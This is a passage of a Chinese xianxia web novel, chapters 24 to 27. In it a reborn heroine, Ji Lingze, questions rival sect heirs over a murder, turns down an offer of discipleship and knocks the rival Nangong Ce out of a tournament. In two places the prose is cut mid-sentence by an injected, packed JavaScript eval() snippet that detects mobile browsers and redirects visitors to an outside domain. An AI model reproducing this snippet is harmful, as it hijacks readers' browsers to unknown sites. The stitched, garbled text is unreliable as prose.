季灵泽目光微抬,落在凤潇潇蹙起的眉上,弯起眼睛轻声道:“不严重。这些血不是我的。” “快回去休息,你的黑眼圈又重了。”凤潇潇打开包裹,将里面的一大把灵丸都塞进她的储物袋里,跟不要钱一样,语气急促地道,“你不要不把身体当回事,若有哪里不适了,及时同我们说。” 华漠也走过来,他手指上覆了一层清水,顺着他的指尖流下,慢慢包裹住季灵泽沾了血的手和剑,细细洗干净,语气和缓道:“安全是第一位的,我们宁可不要这个第一,也不希望门中的弟子出事。” 季灵泽望着关心她的师姐师兄们,目光中微不可察地划过一抹怅惘,笑着点点头:“嗯,我会的。” 他们沧山派一行人出考场时,获得了所有人的注目礼。 所有沧山派弟子都情不自禁地把头抬得高了一点。 这可是沧山派历史上开天辟地的第一遭。 与他们相反,其他几个门派俱是垂头丧气,如丧考妣。 满身浴血的季灵泽被沧山派众人簇拥着走出来,她看起来仍旧恹恹的,脸色白得像鬼。 蓬莱洲弟子们经过,在她面前停下了。 浩浩荡荡的蓬莱洲弟子们挡住了他们沧山派的路。 季灵泽和华漠同一时间出手,按住已经拔出鞭子的凤潇潇,季灵泽抬眼,忽略了那些人,只看着中间的南宫策,打了个哈欠问:“什么事?” 南宫策抱着琴,面色不虞地看着她:“与我单挑一场,否则,我势必要你出局。” 季灵泽太困了,脑子已经成了浆糊,模模糊糊只勉强听清了“势必出局”几个字,她点点头,很敷衍地道:“嗯,那就让我出局吧。” 她这态度落在蓬莱洲眼中更像是挑衅了,南宫策抓着琴的手指默默缩紧了,恨恨地道:“下个考场……” 一心想回去补觉的季灵泽立刻打断他:“下个考场见。” 说罢,她也不等南宫策反应,直接带着沧山派从蓬莱洲弟子中间穿了过去,走得太急,肩膀还和南宫策撞了一下,把人撞得退后了一步。 南宫策咬肌绷紧,盯着她的背影,抬脚想追,然而万象宗的郁观不知什么时候晃过来,有样学样也把他挤开,回头朝他咧嘴一笑,兀自领着万象宗飘然而去。 季灵泽径直回到住所,换了那身带血的衣服,一头倒在床上,把脸埋进松软的枕头里。 她参加仙选大会前熬了一宿补心脉,算上仙选大会的一天一夜,已经三十六个小时没有合过眼了。 最糟糕的是,她的心脉二次受创,如果不及时休息,恐怕前面的那些修补都是白用功。 熟悉的困意劈头盖脸地淹没了她,她感觉自己的上下眼皮快要黏在了一起,周围的一切都是模糊的,像隔了一层雾。 所有喧嚣与纷乱都被隔离在外,她打了个哈欠,慢慢陷入沉沉的睡眠。 但这短暂的休息没能持续多久便被打搅了,门被人急促地敲响,“咚咚咚”的敲门声一响起来,季灵泽便惊醒了。 睡眠本就不足的时候被强行叫醒并不好受,她头痛欲裂,从床上坐起来,双目无神地放空了一会儿,深深叹了口气,抬手解开门上的禁制:“进来。” “吱呀”一声,门开了,满目红血丝的洛啸天站在门口,他洗掉了脸上的灰尘,整个人干净了不少,但还是一脸菜色,看起来比季灵泽还要人不人鬼不鬼。 “你说想和我单独谈谈,现在聊吧。”洛啸天盯着她,十分执拗,大有不聊完他就要赖在这里的意思。 这倒霉 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这些出身大世家的弟子们果然很有钱。季灵泽安心地抓起笔,连勾了七八道菜,什么桂花鱼翅、荷包里脊、生烧酒蛎、吹羊大骨……哪个最贵勾哪个,勾完她递给小二,咽了一口口水:“就这些吧。” 小二还想递给洛啸天,但他根本没有心情点菜,挥挥手便让小二下去了,门刚一合上,他立刻抬眸,目光锐利地看向季灵泽:“说吧。” 季灵泽托着下巴,企图用外力撑住自己忍不住向下栽的脑袋:“洛少主能不能告诉我,扈紫珠仙友平时是一个什么样的人?” 窗外的树影从洛啸天的脸上一闪而过,他握着杯子,怔怔发了一会儿呆:“她……她比我年长几岁,在我之前,门中本属意她当首座大弟子,可惜……她不姓洛。” 百晓山背后是洛家,看似每一年都会招收不少其余的外姓弟子,但真正的决策权只能掌握在洛家人手中。 四大门派皆是如此。因此,南宫家、洛家、郁家与凤家独占鳌头,天生享受着极丰富的资源,每一届最优秀的修仙者,几乎都出自四大世家。 季灵泽听到这里,无奈地摇了摇头。 看来这数百年间,修仙界并没有什么改变。 洛啸天低下头,望着杯中的倒影:“有时候我看得出她并不赞同我的选择,但不管我说什么,她都会去办,有人不服我,她第一个站出来说话……后来我境界提升,成了百晓山这一代里的最强者,她比我还高兴,拉着我来这里喝酒庆祝。” 那时,那个爽利的女子设了一桌的菜,将杯中酒一饮而尽,睁着一双清明的眼睛,认真地对他说:“下届的仙选大会,你带我们赢。” 洛啸天死死地盯着杯子里的自己,第一次觉得自己面目可憎起来。如果首座大弟子不是他……百晓山不会进入黄泉林,也就没有人会死。 季灵泽一直在观察着洛啸天的神色,继续问道:“那你相信她会为了修为杀死同门吗?” “不可能!”洛啸天猛然抬头,嗓音都提高了八个度,“她绝不是这样的人!” 季灵泽认真地看了他半晌,不知想到什么,眸色有一瞬间的温和,点点头:“嗯。” “扈紫珠是被陷害的。”她吹开茶水上的浮沫,余光看见洛啸天霍然变了的神色,停顿了几秒,给他反应的时间,“她死前告诉我,她是被人所害。” “谁?谁害了她?”洛啸天急切地看着她,紧紧地捏着拳头,指甲几乎要嵌入肉里。 季灵泽没有回答这个问题,转而问道:“你为什么选择去黄泉林?” “……黄泉林里魔兽很多,魔尊曾设下过禁制,里面的魔兽境界受压制,比外面的魔兽好杀。”洛啸天重新低下头,面色隐没在树的阴影下。 “你是怎么知道这件事的?”季灵泽立马发现不对,追问。 “景明长老说的。”洛啸天被问得愣了愣,反应了一会儿才答道。 黄泉林中企图控制他们的人极有可能是百晓山的人,这个名字一出来,季灵泽眸色便是一沉:“景明长老是谁?” 洛啸天不知道话题为什么扯到了这个上面,他有些急躁地敲了敲桌子道:“我们门派的一个前辈,仙选大会前提到过这些。凌七!都什么时候了不要扯这个了,你快告诉我是哪个人害了扈紫珠?!我要去宰了那个王八蛋!” 百晓山是一个极其看重集体荣誉感的门派,看他这副模样,大概是完全没有怀疑过百晓山内部的人,季灵泽注视他半晌,垂下眼,摇摇头:“不知。扈紫珠未曾与我说过。” 洛啸天气急:“那你都知道点什么啊!” 季灵泽低头喝了口茶:“我只知道,害她的人不是魔修。” “洛仙友,不要相信任何人。” 25. 第 25 章 洛啸天不解她的意思,想要追问,小二端着菜进来了。 满满当当一桌子菜上齐,洛啸天愣了一下,从悲愤中清醒过来,目瞪口呆地看着季灵泽:“凌七你讹我!你吃得完这么多啊?!” 季灵泽不理他,一把抓起筷子,迫不及待地夹起一块荷包里脊塞进嘴里。 不愧是仙灵城最贵的酒楼,味道配得上它的价格。季灵泽两辈子都是个穷鬼,吃得粗糙惯了,乍一吃到这么好吃的饭菜,几天没有进食的饥饿成倍翻涌上来。 饥肠辘辘的季灵泽风卷残云般吃掉了荷包里脊后,又夹起一块喷香的羊腿,狠狠咬下一大口。 她嘴里包着羊肉,含糊不清地道:“吃得下。” 洛啸天眼看着吹羊大骨也快要没有了,急忙抓起筷子加入,他把怒火发泄在了抢饭上,季灵泽爱吃什么他就夹什么,还偏偏卡在她伸出筷子的前一刻精准夹起菜,朝她笑一笑,笑容欠揍得很。 季灵泽也没生气,她友好地朝他微笑了一下,而后趁着洛啸天埋头喝鲜炖蘑菇汤的功夫推门出去,拿出了传音石。 “你干什么?”洛啸天直觉不妙,从碗边沿抬起头来,警惕地看着走进来的人。 季灵泽面色不变,道:“等会儿你就知道了。” 一刻钟后。 门被敲响,洛啸天去开门,与门外的一群人面面相觑。 凤无霜,郁观,南宫策。 几人全部沉默了,大眼瞪小眼片刻后,同时扭头去看罪魁祸首季灵泽。 凤无霜:“你不是要单独和我商议怎么对付其他门派?” 郁观:“你不是说来还钱吗?” 南宫策:“你方才说,要告诉我黄泉林里发生的事。” 季灵泽理直气壮道:“不冲突啊,我们一边吃一边聊。” 话音刚落,她身先士卒地抓起手里的筷子,转眼间已经把两块最好的肉夹进自己的碗中。 洛啸天回头一看,就见到她大快朵颐的样子,当即不再废话,抓起筷子就和她抢了起来。 第三个加入的是郁观,他一见这二人的模样,就将刚刚发生的事情猜了个七七八八,丝毫没有犹豫,飞速地加入了争抢佳肴的队伍中。 凤无霜与南宫策站在原地,四目相对,都从对方眼中看见了无语,但眼看着他们再不加入,桌上的菜就要被瓜分干净了,他们最终还是拿起筷子,入乡随俗。 场面一时间十分混乱。 南宫策基本上都在针对季灵泽,试图通过抢菜这种方式和她隔空斗法,凤无霜与洛啸天新仇叠旧恨,分外眼红,已经抛弃了吃饭,两个人抓着筷子打得不知天地为何物,郁观坐山观虎斗,时不时在他们打架的间隙伸出筷子偷偷夹菜,被打架的人发现了就会同时来打他,打着打着闹了内讧,继续重复新一轮的循环。 一顿饭吃完,简直像是又进了一个考场。 季灵泽本来就困,打完,不,吃完这顿饭,她彻底没了力气,靠在椅子上举起双手朝着看起来还没打够的南宫策讨饶:“不了不了,我认输。” 南宫策看她眼下巨大的两抹青黑,冷静下来,终于后知后觉地意识到自己的行为极其幼稚,默默放下筷子,冷冷地扭过头去不再看他们。 郁观是吃到饭菜最多的人,他心满意足地打了个饱嗝,笑眯眯地朝洛啸天道:“谢了,很好吃。” “谁要请你吃了!”洛啸天愤愤地放下筷子,还不忘提防地注意着一边的凤无霜,“你们简直无耻!” 凤无霜优雅地将手中的筷子搁在绸布上:“好了,说正事,你们三个进了黄泉林的,究竟在里面遇见了什么事?” 这个问题像猝不及防的一盆冷水,浇灭了原本还算轻松的氛围,雅间内的空气一下子凝结了,一时间,静得落针可闻。 洛啸天的脸色瞬间灰白下去,郁观与季灵泽对视一眼,季灵泽轻轻摇了摇头。 洛啸天率先开口:“我领着百晓山进去,谁知一进去就中了魔尊的奸计,与百晓山的其他弟子走散了,再看到他们的时候,扈紫珠就……” 他没能说下去。 南宫策抓住了重点,他声音发紧:“魔尊不是已经死了吗?难道她复活了?” 正在喝水的季灵泽结结实实呛了一大口水,剧烈咳嗽了起来。 “不是,是之前遗留的阵法,”洛啸天含糊其辞地道,因为不会御剑而掉进阵法里,他实在不好意思说,只得转换话题,“我知道的就这么多,剩下的还得问郁观和凌七。” 郁观转了转手里的扇子,简略说了一下他们遇见季寻,发现扈紫珠,遭遇袭击,打败魔兽的过程。 说到遇见季寻的时候,他特意看了南宫策几眼,发现南宫策皱眉不解地看着他,神色非常自然。 还装! 凤无霜对“魔修”二字最敏感,她一听到扈紫珠入魔,便双眉紧蹙,戒备地望着洛啸天:“你们百晓山已经有人入魔了,万一还有其他不怀好意的人潜伏在门派里呢?” “你放屁!”洛啸天听不得别人诋毁百晓山,当即炸了,“不可能!你当我们百晓山是你们凤家啊!” 凤无霜的眸子瞬间变得十分冰冷。 百年前,凤家出过一个天才,一度将成为凤家下一任家主,却突然叛变入魔,杀死仙修无数,如果不是现任凤家家主大义灭亲,恐怕又是一个魔尊。 那个人是凤潇潇的母亲。不久后,凤潇潇被凤家除名,踢出玉虚宫,成了没名没分的散修。而凤无霜也彻底厌恶上了她,连同厌恶收留她的沧山派。 凤无霜静静看了洛啸天一会儿,忽然讽刺一笑:“有你这样的首席大弟子,我等着看你们百晓山自食恶果的一天。” “凤无霜!”洛啸天脸色僵硬,气急败坏地重新抄起筷子,眼看着就要再次和凤无霜打起来,南宫策将怀里的琴往桌上一放,“咚”一声脆响。 他不耐地道:“好了,吵什么吵,又不是在考场里。郁观,你说你们遇见了一个修士替身,能判断他是谁吗?” 洛啸天莫名其妙地看着他:“……不是你吗?” 南宫策也莫名其妙地盯着他:“为什么是我?” 他目光坦荡疑惑,看起来一身正气。 两人互相看看,郁观大脑宕机,陷入沉思。 对了,那人的功法的确与南宫策不同,是冰水系的功法。但他只以为是南宫策不想被看破身份,额外修习的其他功法。 难道真的不是南宫策? 那他屡次阴阳怪气的人是谁? 季灵泽轻咳一声,意味深长地看了一眼郁观,她总算知道为什么郁观对“季寻”态度微妙,隐约有几分敌意,敢情他一直把季寻当成了南宫策。 她忍不住幸灾乐祸地笑起来,道:“有可能是玄天真人座下的弟子。” 洛啸天默默捂住脸,深吸一口气。 玄天真人座下的弟子至少也是元婴后期,他居然就这么毫无理由地……挑衅了对方好几次。 真丢人啊。 玄天真人洛川出身洛家,虽然现在与洛家闹掰了自立门户,但看着小辈贸然进了黄泉林,派人去盯着点也实属正常,难怪季寻只在情况危急时出手相助,原来是按照赛规,他不能插手比赛。 这么一来就说得通了。 几人没有再问什么,都默认了这个说法。 季灵泽收了笑意,转了转手中的杯子,低头抿了一口茶:“我怀疑有人趁着这个机会想要除掉这一辈里修为最高的几个修士。洛啸天因为误打误撞进了黄泉林的阵法,逃过一劫,郁观与扈紫珠都被暗算,这一次他没能全部得手,大概会在接下来的比试中使绊子,诸君还是小心为上。” 几人难得地没有反驳她,都沉默了下来,阴霾在这些年轻的脸上一闪而过,这些出身高门,一路顺风顺水的天之骄子们,头一次体会到了平静的修真界地下暗藏的波涛汹涌。 季灵泽望着他们的表情,没有多说什么,朝他们一颔首,起身往外走。 季灵泽耳朵里传来郁观的声音:“你没事吧?” 季灵泽一愣,缓缓抬头,看见跟上来的郁观,不由得莫名道:“我有什么事?” 郁观抬手指了指她的脸:“你脸色很差,像个痨病鬼。” 季灵泽摸摸自己的脸,失笑:“不是痨病鬼,只是天生劳碌命。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16462819|183771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 二人转过酒楼的拐角,迎面遇见了两个人。 一人眉眼风流含笑,一人神色冰冷如霜,正是洛川与郁泊舟。 郁观忙低头见礼,双手抱拳,规规矩矩地道:“见过二位尊者。” 自从知道了季寻有可能是洛川派来的弟子,再联想一下自己对季寻的态度,他见到洛川就躁得慌,他小叔还在旁边看着,不行,他不能给郁家丢人。 季灵泽靠在一边,敷衍地行了个礼:“见过二位尊者。” 洛川眯眼笑得很亲切:“原来是你们,这次仙选大会上表现很不错,印象深刻。” 他姿态随意,说到“印象深刻”这几个字时,特地看了一旁的季灵泽一眼。 郁观老老实实低头又行了一礼:“多谢玄天真人夸赞。” “不用这么拘谨,”洛川“噗嗤”笑道,“看你考场上还是很活泼的,不要学得像你小叔一样板板正正。” 郁泊舟凉凉看他一眼。 季灵泽抱着剑倚靠在墙上,欣赏着在郁泊舟面前装模作样的郁观,没忍住低头笑了一声。 也许是笑得有点大声了,郁泊舟的目光转移到了她脸上。 季灵泽收了笑意,缓缓抬眼,与他对上视线。 这是她重生以来,第一次与杀死她的人狭路相逢。 眼前人容色未曾改变,只是褪去了少年气,眉宇间添了几分成熟。 看来这些年,郁泊舟过得不错。 季灵泽神情未变,弯了一下眼睛,客套疏离地点了点头,好似第一次见到他一般。 郁泊舟抿了抿唇,移开视线。 窗外的夕阳摇摇欲坠,几只倦鸟飞过云端,朝着树林里的巢穴而去。季灵泽立在窗边,肩上落了一层夕照,给她的侧脸渡上了一层浅淡的金粉。 她的手指无意识搭在配剑上,阳光照得她微微眯起眼睛,。 郁泊舟的视线,不受控制地再次落在那人身上。 她五官全然与前世不同,但满身落拓不羁的气质,却从未变过。 季灵泽打了个哈欠,朝一边的郁观道:“我回去睡觉了。” 说罢,她不等郁观回答,便抬脚向前走去。 “留步。”洛川突然出声,季灵泽步子一停,回身。 洛川还是那副轻佻不羁的模样,只是目中笑意浅了一些,显出几分认真来:“沧山派是散修门派,若你想要更进一步,在沧山派终究受限……你可愿拜我为师?” 此言一出,所有人都是一愣。 没人想到洛川贵为尊者,居然在仙选大会第一场结束后,就主动邀请人拜入自己门下。 郁泊舟攥紧了自己的手,立即向站在原地神色莫辨的季灵泽望去。 白衣女子闻言,神情有一瞬间的诧异,受此殊荣,她脸上不见喜色,不卑不亢地笑了笑:“凌某顽劣,斗兽考场上不过是一些上不得台面的小伎俩,恐怕要让真人失望了。择师一事,还是等仙选大会之后再说吧。” 洛川闻言,勾起唇角,故作惋惜道:“依你,我难得遇见与我如此臭味相投的好苗子,可不要明珠暗投,去了哪个刻板无趣的师尊那里。” 郁泊舟朝他望去,目光不善。 洛川一脸无辜:“看我干嘛,我说郑思文。” 臭味相投…… 季灵泽想起自己与洛川两个人从前偷偷翘课去凡间喝花酒斗蛐蛐打群架的往事,忍不住赞叹这个词的精妙。 她勾起唇角,朝他点点头:“多谢真人提醒。” 强撑着说完这些话,她眼皮都快睁不开了,不欲多留,一阵风一样走了。 拜师是不可能拜洛川为师的,他与她太过熟稔,万一拜师之后被看出身份就不好了。 从洛川相邀开始,郁泊舟就一直僵在原地,没有动弹,直到季灵泽委婉推辞后,他才不着痕迹地缓缓吐出一口气。 季灵泽的身影很快消失在视线之内,整个交谈过程中,她都表现得很自然,像对待真正的陌生人,举止疏离,进退有度。 曾经绝不会出现在她身上的疏离。 心脏像是被人攥紧,传来一阵绵密的疼痛。 26. 第 26 章 季灵泽回去之后,倒头睡了一天一夜。 她屋子里太安静了,凤潇潇起初还以为她不在房中,打听了一圈也没打听出来她的行踪,兜兜转转又来到她房前。 叩门。 无人回应。 凤潇潇眉心不由得皱得更紧,一只手摸上了腰间的凤尾鞭,无数不好的猜想在她脑子里回旋往复了一遍,她深吸一口气,正欲强行破开禁制闯入,门发出迟缓笨重的“吱呀”一声,开了,一个鸡窝头迎面而出。 鸡窝头正是睡得昏天黑地的季灵泽。 她一头长发睡得乱糟糟的,眼下青黑淡了一些,白色的衣袍不太整齐地挂在身上,鞋子还穿反了,显然是听见敲门声匆匆起来开的门,看见门外杀气腾腾的凤潇潇,脸上的表情罕见地空白了一瞬。 凤潇潇看着她这个样子,一时间无语凝噎。 “我找了你许久找不见,还以为你遇到了什么不好的事情,没想到是在睡觉。”她自己也觉得好笑,摇摇头,收了鞭子,伸手把季灵泽头上翘起来的乱发捋平。 季灵泽伸了个懒腰,拽了把椅子出来让凤潇潇坐下,她刚睡醒,嗓音里还带着未消的沙哑:“师姐放心,我很难杀的。” “你啊,”凤潇潇无奈摇摇头,从袖子里又拿出一瓶丹药来,还是从前充灵草的药丸,她不由分说塞到她手里,“你心脉有损,多吃些,我有钱,管够。” 我有钱。 多么朴实无华令人感动的一句话。 季灵泽崇敬地看着凤潇潇,深情地给了她一个拥抱。 剩下的几日,季灵泽基本都在调养心脉。有了这些充灵草的丹药,她的灵力得到了很好的补充,心脉上的伤势有所好转,脸色也没那么差了。 一晃十日过去,各个宗门的弟子们都修养得差不多了,都磨刀霍霍准备着下一场的考试。 下一个考场是百毒考场,以种类繁多的毒物闻名,如果说斗兽考场更侧重弟子们的修为与能力,那这个考场则侧重于考验弟子们的应变速度与知识水平。 季灵泽并不知道自己凭借着上个考场的无赖举动,已经变成了各大宗门的头号警戒人物。 她喜滋滋拨了一部分灵石出来,将招财剑剩下的那截补好,又低价从郁观那里买来了一个废弃剑匣子,修改了尺寸与大小,与招财剑贴合。后来发觉剑柄上空空荡荡,她思索片刻,决定将剑柄内部掏空,装上剩余的那些药丸,以备不时之需。 是日清晨,她拎着已经补好的招财剑,焕然一新地踏上了去往百毒考场的路。 一路上,无数道目光都投向了突然获得魁首的沧山派一行人,四大门派的掌门尚且能维持住高手风范,纹丝不动,那些弟子们忍不住露出了异样的神情,或是不服,或是忌恨。 四大门派,代表的是四大家族经年累月的积累,他们久居高位已经习惯,往年再怎么争夺,魁首之位总在他们之间打转,许多年没有尝过屈居人后的滋味了。 凤潇潇昂首挺胸地站在最前面,一身红衣潋滟如火,华漠站在略靠后一点的地方,他耳朵里刮来一些风言风语,不太自在地低声道:“我们会不会有点太高调了?总觉得那些大门派的长老们都在议论我们。” “管那些人做什么。”凤潇潇余光扫过那些人的神情,轻哼一声,“若是太在意他们的想法,我们沧山派一辈子都拿不到魁首了。” “凤师姐说得对!”韩平凑过来,一听这话,点头如捣蒜,他这些日子幸福得简直像在做梦,出门都倍有面儿,他大声道,“我们沧山派凭本事拿到的魁首,有什么好心虚的!” 正巧经过的凤无霜一听这话,剜了凤潇潇一眼,矜傲一笑:“不过是运气好而已,真当成自己的实力了?你们还是想想要怎么活过这个考场吧。” 韩平躲在凤潇潇背后,见凤潇潇手持鞭子顶天立地,顿时有了狗仗人势的底气,他探出半个脑袋,吐吐舌头:“可惜你们玉虚宫连偶然的机会也没有。” 凤无霜眯着眼睛看清了说话的人,皱眉:“我竟不知,如今这种货色也敢在我面前叫嚣。凤潇潇,管好你手底下的狗。” 一只小白狗摇着尾巴窜进池中央的荷花亭里,亭中有两人相对而坐,他们面前有一张矮几,矮几上放着一面一尺长的镜子。 “如今玉虚宫越来越没出息了,竟沦落到与沧山派争口舌。”一个年轻少男靠在椅子上,他身披兽皮,发间插着几根不知名的鸟羽,肩上停着一只弯嘴鹰,他灵巧地弯腰把小狗捞起来抱在膝上,看着镜子中的那群弟子,摇摇头,点评道。 另一人是一个穿金戴银的女子,一道显眼的疤痕覆盖了她的半张脸,她大刺刺坐着,一边嗑瓜子,一边看着镜中的白衣人:“我观师尊的意思,竟像是看中了沧山派那个姓凌的弟子。” “她吗?”少男像是听到了什么很好笑的笑话,弯起唇,“师尊把她招进来做什么,遛完蜘蛛,帮我遛狗啊。” “你这张嘴啊,”女子瞥他一眼,“噗嗤”笑了一声,她把手里的瓜子咬得“咔哒咔哒”响,煞有介事地道,“她很有趣,我喜欢她,至于她真正的实力如何,且看这个考场吧。” 季灵泽走进考场时,总觉得有一道不善的目光在注视着她。她扭过头四处搜寻了一遍,最终在南宫策身上停了。 南宫策抱琴站在蓬莱洲的最前面,一身青袍,目下无尘,他似乎对季灵泽的目光毫无察觉,正拨弄琴弦,催动身侧的草木探路,只留给她一个高傲的背影。 她看了他片刻,收回目光,抱着剑跟上了凤潇潇的脚步。 百毒考场最大的特点,便是四周任何寻常的东西都有可能含有剧毒,哪个门派用最快的速度穿过整个考场,哪个门派便是冠军。 这些毒物对季灵泽来说并不难以辨认,她曾经在不死之地住过很长时间,与不死之地比起来,百毒考场实在算不得什么。 凤潇潇与华漠探查一番,最终选择了一条罕有门派踏足的路。 他们上个考场树敌太多,这次实在不宜与其他门派再遇上。 凤潇潇鞭子通身都燃烧着火焰,将四周照得极其明亮,华漠操纵一股股的水漫过他们途径的每一处地方的草木,土系灵力的修士召唤出土块覆盖在地面上,杜绝一切他们会遇到的植株。 凤潇潇与华漠合力,遇见的大多毒物都被顺利斩杀。 一行人畅通无阻地走着,季灵泽忽然停下脚步,侧耳细听。 凤潇潇立即抬起手,做了一个停下”的手势,众人同时停步,列阵以待。 前面是一片白桦树林,树很密集,几乎没有下脚的地方。 季灵泽将招财剑抽出,对凤潇潇道:“我去前面看看,若半个时辰内回不来,不必等我,绕开这里另寻他路。” 凤潇潇按住她的肩膀,欲言又止,看了她很久。 季灵泽朝她微微一笑:“相信我。” 凤潇潇最终没有阻拦,只是轻轻拍拍她的肩膀,低声道:“万事小心。” 季灵泽笑着一点头,御剑凌空飞起,像一支箭一般射入了白桦树林。 树林中极静,只能听见风吹动树叶的“沙沙”声,季灵泽走了一段路,确保了离外面的人有一段距离才停下。 她淡声道:“不必藏了,出来吧。” 茂密的树林里翻起绿浪,树影婆娑摇动,有人行于林中,步履从容似踏浪而来,缓步走出。 一席青衫,一架古琴,一双高傲的眼睛,不是南宫策又是谁? 季灵泽望着他,并不意外,她好笑道:“你宁可放着自己门派不管,也要我出局么?” 南宫策咬肌绷紧,双手在七弦桐琴上轻轻一划,冷笑道:“等你出局了再回去也不迟。” 被他追着揍久了,季灵泽已经有了条件反射,听见琴声的一瞬间,她都不用思考,立即御剑朝相反方向奔去,还不忘掐起一个法咒扔了出去,正好与后面杀来的藤蔓狭路相逢,炸成了一把璀璨的烟花。 回去的这十天里也不知南宫策干了什么,修为竟隐隐提升了不少,季灵泽几次故技重施,竟没能甩脱他。 不仅如此,琴声越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468754|183771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来越激昂,林间的白桦树叶纷纷坠下,化作密密的细针,向着季灵泽扎来,强风卷起那些细针,似一团浓绿的雾,杀人于无形。 季灵泽烦不胜烦,她回身结印,背后筑起一面沙墙,细针全部扎入了沙墙中,沙墙难以承受,原地崩塌了。 眼看南宫策越战越勇,誓不罢休,季灵泽叹了口气,脚下的剑拐了个方向。 她真的不想这样的。 可是南宫策这个一根筋实在是太难缠了。 季灵泽在心里暗道了一声“罪过”,脚下却没有闲着,连续几个腾挪,眨眼间翻过大半个白桦树林,一边躲闪着来自后面的攻击,一边向着一处水潭而去。 正在观赛的修士们都看见了这一幕,不由得皆直起身子望去。 凤迟忍不住笑道:“他们误打误撞,去的方向刚巧是迷幻潭。” 洛川摇摇头,一脸看热闹不嫌事大的闲适:“有他们受的。” 他口中这样说,目光却忍不住深深看了凌七一眼。 总觉得她是故意引着南宫策去那里……可她又怎么知晓那里是迷幻潭? 大约是他多心了。 郁泊舟一眨不眨地望着镜子里的人,眸中微不可察地划过一抹笑意。 眼看着离那潭水越来越近,季灵泽目光闪动,速度变慢了下来,后面的南宫策见她速度越来越慢,以为她终于体力不支,不由得催动法咒更迅速地追了上来。 季灵泽御剑俯冲下去,直直朝着潭水掠去。 身后的南宫策距她不到一尺,他目中闪过一丝大仇得报的快意,将七弦桐琴收起,伸手朝她抓去。 说时迟那时快,在他的手触碰到季灵泽的一瞬间,季灵泽突然停下,向右漂移出了几米远! 南宫策没料到她改变方向如此突然,再要刹住脚步已经慢了,惯性让他向前一倾,向着潭水的方向坠落而去。 趁着他下坠的一瞬间,季灵泽抬手抓住他的手腕,用力反剪他双手,随即旋身抬腿飞踢在他后腰上,径直将人踹入了潭水中。 南宫策摔入潭水中,溅起四射的水花,他扑腾着试图游上来,却呛了一嘴的水,季灵泽稳稳当当地站在剑上,停在距他半尺高的空中,弯腰递过去一根树枝,低头笑着朝他道:“何必呢?” 眼看着自己就要沉下去,南宫策下意识抓住了她递过来的树枝,从潭水中探出半个身子,青色衣衫早已湿透,一头长发湿漉漉地贴在他身上,像刚捞出来的水藻。他连睫毛上都是水珠,一呼吸到新鲜空气就狼狈地低咳起来,咳得脸上都浮出一抹红色。 季灵泽拽着树枝将他送到岸上,随手扯来一根树藤,将他双手绑起来,这才放心地找了块大石头坐下。 南宫策的眼睛已经不太清明,像是蒙上了一层雾气,他蜷缩在地上,有些懵懵懂懂地看着她。 这是迷幻潭起作用了。 他方才呛进去那么多水,现在恐怕是连自己在哪里都忘了。 季灵泽大马金刀地坐在一边调息,她被他追杀了一路,这会儿也有些气喘,但眼见罪魁祸首这么狼狈,她一时间心底也生起一丝报仇雪恨的快意来。 正调息到一半,她耳朵边忽然传来一声若有似无的“娘亲”,不由得往声音来处看去,只见南宫策躺在地上,有些迷茫地抬头,看着她,重复了一声:“娘亲。” 季灵泽:“……” 她可没有这种不孝子。 迷幻潭的潭水能让人出现幻觉,恐怕此时此刻,季灵泽在南宫策眼里,长得真和他娘亲一模一样。 季灵泽有些想笑,忍住了。 幸好中了迷幻潭的人醒来后对自己中毒后的所作所为毫不知情,否则南宫策恐怕恼羞成怒,愈发想把她灭口了。 她低头看着眼前这个满口胡言乱语的人,思索片刻,一记手刃过去把他劈晕了,而后一不做二不休,抓起他的一只手,直接操纵着他用灵力写下“出局”二字。 所有正在考场内的修士们耳中瞬间传来一道声音: “蓬莱洲南宫策,出局。” 27. 第 27 章 “南宫策出局”这一道声音响起,考场内外都是一片寂静,能听见针落的声音。 有那么几秒,蓬莱洲的弟子们呆立在原地,互相看了又看,谁也没说话。 直到有人弱弱问:“我们是不是中毒产生幻觉了?” 南宫策只告诉他们要去找凌七报仇,然而已经去了一个半时辰了,他依然未归。 这不是幻觉。 蓬莱洲的少主,本届最强的修士,一对一比试,真的败在了那个散修手里。 最可恨的是,那偏偏还是以废物著称的凌七! 整个蓬莱洲的心都一下子坠到了湖底,他们互相看看,都从彼此的目光中望见了惊骇。 大殿内,一片死寂。 桌边悄然裂开一道缝隙,南宫家家主南宫似的手指慢慢从桌角松开,眼底划过一抹阴霾。 在南宫策出局后,其余的家主纷纷向他投来意味不明的目光。 南宫策是这一代最出色的弟子,如今败在一个废物散修手中,不亚于狠狠地抽了南宫家一记耳光。 他深深吸了一口气,再抬头时,换了一副和颜悦色的表情,捋着胡子道:“如今的小辈里人才辈出,用这种法子取胜,真是令人钦佩。” 这话很不好听了,洛川立即转头看着他,笑意盈盈道:“南宫策也不错,放弃自己的门派势必要他人出局,气魄难得。” 南宫似脸色一僵:“……玄天真人谬赞了。” 洛川笑眯眯朝他点点头,谦虚道:“哪里,南宫策颇有家主的风采。” 玄天真人的一张嘴足以把所有人堵得说不出话来,南宫似想要再争辩几句,却看见了南宫雁在此时看来。 她眉眼含笑,姿态端庄,但那双眼中,分明没有一丝情绪。 他这个妹妹这些年脱离南宫家,自立门户,竟渐渐有了威望,若南宫家在他手上败落,恐怕那些长老都要动换家主的心思了。 